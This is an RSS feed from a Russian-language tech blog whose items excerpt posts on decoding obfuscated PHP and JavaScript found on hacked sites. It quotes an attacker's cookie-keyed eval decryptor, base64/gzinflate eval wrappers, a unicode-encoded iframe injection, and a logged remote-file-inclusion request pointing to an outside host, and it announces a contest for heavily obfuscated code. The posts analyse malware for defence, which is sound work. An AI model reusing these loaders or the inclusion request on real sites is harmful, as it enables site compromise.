<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NetSpider - персональный блог &#187; PHP</title>
	<atom:link href="http://netspider.com.ua/index.php/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://netspider.com.ua</link>
	<description>заметки на компьютерную тематику</description>
	<lastBuildDate>Wed, 08 Feb 2012 04:29:20 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Скрытие кода, метод 5</title>
		<link>http://netspider.com.ua/index.php/2012/02/07/skrytie-koda-metod-5/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/07/skrytie-koda-metod-5/#comments</comments>
		<pubDate>Tue, 07 Feb 2012 01:38:31 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1225</guid>
		<description><![CDATA[Следующий код был выдран из тела страницы взломанного сайта, этот javascript вставлял небольшой фрейм (сразу покажу причесанный вид, изначально все было в одну строку и без пробелов, пугающе ): var s = ''; try { new asd[0] } catch (q) { if (q) r = 1; c = String; } if (r &#38;&#38; document.createTextNode) t [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/07/skrytie-koda-metod-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 4</title>
		<link>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-4/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-4/#comments</comments>
		<pubDate>Mon, 06 Feb 2012 10:36:50 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1223</guid>
		<description><![CDATA[Взято из демо-версии DLE: &#60;?php $_F=__FILE__;$_X='STRING=';$_D=strrev('edoced_46esab');eval($_D('STRING2=='));?&#62; В коде бросаются в глаза две длиннющие строки в base64, раскодировать “в лоб” можно только вторую, там содержится кусок кода для дешифрации первой строки (STRING=). Причесанный вид файла: $_F = __FILE__; $_X = 'STRING='; $_D = strrev( 'edoced_46esab' ); eval( $_D( 'STRING2==' ) ); edoced_46esab – это всего лишь [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 3</title>
		<link>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-3/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-3/#comments</comments>
		<pubDate>Mon, 06 Feb 2012 01:32:52 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1221</guid>
		<description><![CDATA[Не совсем PHP, но тоже может быть интересно. Для вставки в страницы вредительского кода, в частности блоков iframe, используют javascript и данные, закодированные в unicode: &#60;script type=&#34;text/javascript&#34;&#62;document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065')&#60;/script&#62; Раскодировать можно с помощью PHP: $str = &#34;\u003c\u0069\u0066\u0072\u0061\u006d\u0065&#34;; $str = preg_replace( &#34;/\\\\u([0-9a-f]{3,4})/i&#34;, &#34;&#38;#x\\1;&#34;, $str ); $str = html_entity_decode( $str, null, 'UTF-8' ); echo $str . &#34;\n&#34;; Чтобы посмотреть, [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 2</title>
		<link>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-2/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-2/#comments</comments>
		<pubDate>Mon, 06 Feb 2012 01:09:26 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1219</guid>
		<description><![CDATA[Следующий код был выдран из файла хакеров (или взломщиков или скрипткидсов), в закодированной строке был URL на внешний сайт, с которого подтягивался еще один кусок кода. @eval(decrypt(&#34;CODECODE==&#34;,$_COOKIE['HASH'])); exit; function decrypt($txt,$key){ $txt=base64_decode($txt); $res=&#34;&#34;; for($i=0; $i&#60;strlen($txt); $i++){ $c=substr($txt,$i,1); $kc=substr($key,($i%strlen($key))-1,1); $c=chr(ord($c)-ord($kc)); $res.=$c; } return $res; Раскодировывается просто, хотя на вскидку сложнее сказать/увидеть, что за манипуляции производятся со строкой: [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/06/skrytie-koda-metod-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрытие кода, метод 1</title>
		<link>http://netspider.com.ua/index.php/2012/02/05/skrytie-koda-metod-1/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/05/skrytie-koda-metod-1/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 21:59:08 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[код]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1217</guid>
		<description><![CDATA[Один из самых популярных способов скрыть код, часто встречается в темах WordPress и других движков и иногда в самих движках. Код выглядит следующим образом: eval(base64_decode(&#34;CODECODECODE==&#34;)); eval(gzinflate(base64_decode(&#34;CODECODECODE==&#34;))); Первый вариант ломается легко, стоит только раскодировать строку из base64, второй – сложнее, нужно запихнуть все в переменную и сохранить в файл: $text = gzinflate(base64_decode(&#34;CODECODECODE==&#34;)); $fp = fopen('decoded.txt', 'w'); [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/05/skrytie-koda-metod-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Конкурс в призами</title>
		<link>http://netspider.com.ua/index.php/2012/02/05/konkurs-v-prizami/</link>
		<comments>http://netspider.com.ua/index.php/2012/02/05/konkurs-v-prizami/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 21:42:32 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[конкурс]]></category>
		<category><![CDATA[обфускация]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[шифрование]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/?p=1215</guid>
		<description><![CDATA[Конкурс на самый самый самый круто закодированный PHP-файл. 1 место – 500 грн 2 место – 100 грн работы присылайте на hahack /собака/ netspider.kiev.ua условия: - код может быть как вашим, так и позаимствованным из откуда угодно; интересные кодировки бывают во всяких вирусах или платных скриптах. - файл должен быть автономным и работоспособным, т.е. не [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2012/02/05/konkurs-v-prizami/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Отслеживаем IP</title>
		<link>http://netspider.com.ua/index.php/2010/12/20/original-ip/</link>
		<comments>http://netspider.com.ua/index.php/2010/12/20/original-ip/#comments</comments>
		<pubDate>Sun, 19 Dec 2010 23:51:19 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[cialis]]></category>
		<category><![CDATA[header]]></category>
		<category><![CDATA[IP]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[kamagra]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[original]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHPMailer]]></category>
		<category><![CDATA[viagra]]></category>
		<category><![CDATA[Джумла]]></category>
		<category><![CDATA[спам]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/index.php/2010/12/20/original-ip/</guid>
		<description><![CDATA[В джумле (и подобных изваяниях) часто встречается компонент отвечающий за отправку почты – PHPMailer. Очень полезным свойством этой приблуды этого класса есть маркировка письма заголовком со своей версией. Выглядит эта строка так (файл libraries/phpmailer/phpmailer.php): $result .= $this-&#62;HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this-&#62;Version . ']'); Это хорошо, но иногда не мешало бы видеть IP-адрес отправителя [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2010/12/20/original-ip/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ошибочное программирование</title>
		<link>http://netspider.com.ua/index.php/2010/02/02/oshibochnoe-programmirovanie/</link>
		<comments>http://netspider.com.ua/index.php/2010/02/02/oshibochnoe-programmirovanie/#comments</comments>
		<pubDate>Tue, 02 Feb 2010 13:23:57 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[money]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Volia]]></category>
		<category><![CDATA[webmoney]]></category>
		<category><![CDATA[Воля]]></category>
		<category><![CDATA[ошибка]]></category>
		<category><![CDATA[платеж]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/index.php/2010/02/02/oshibochnoe-programmirovanie/</guid>
		<description><![CDATA[Сегодня пытался оплатить услуги “ВобляКобель” через платежную систему money.ua. После непродолжительной паузы, получил следующую ошибку: Warning: SoapClient::__construct(http://stat.voliacable.com:8080/wspay/PayService?wsdl) [function.--construct]: failed to open stream: Connection refused in /usr/local/sites/moneyua/public_html/volia.com/index.php on line 33 Warning: SoapClient::__construct() [function.--construct]: I/O warning : failed to load external entity &#34;http://stat.voliacable.com:8080/wspay/PayService?wsdl&#34; in /usr/local/sites/moneyua/public_html/volia.com/index.php on line 33 Fatal error: Error responding from payment gateway, gateway overload. [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2010/02/02/oshibochnoe-programmirovanie/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Скрипткиды или боты</title>
		<link>http://netspider.com.ua/index.php/2009/10/05/skriptkidy-ili-boty/</link>
		<comments>http://netspider.com.ua/index.php/2009/10/05/skriptkidy-ili-boty/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 21:25:46 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[document_root]]></category>
		<category><![CDATA[get]]></category>
		<category><![CDATA[idtest.txt]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[скрипткид]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[уязвимость]]></category>
		<category><![CDATA[хак]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/index.php/2009/10/05/skriptkidy-ili-boty/</guid>
		<description><![CDATA[Хакеры, а точнее скрипткиды, не спят. Несколько дней назад на мой сайт начали проводиться попытки атак запросами, эксплуатирующими старую уязвимость в PHP. /var/log/messages: Oct  4 03:23:34 220 suhosin[28420]: ALERT &#8211; tried to register forbidden variable &#8216;_SERVER[DOCUMENT_ROOT]&#8216; through GET variables (attacker &#8216;77.242.37.212&#8216;, file &#8216;/xxx/domain.tld/index.php&#8217;) Пример запроса (из лога апача): 211.111.213.195 &#8211; - [05/Oct/2009:08:26:22 +0300] &#8220;GET //?_SERVER[DOCUMENT_ROOT]=http://www.hotlinkfiles.com/files/2380695_oajch/IDtest.txt??? [...]]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2009/10/05/skriptkidy-ili-boty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

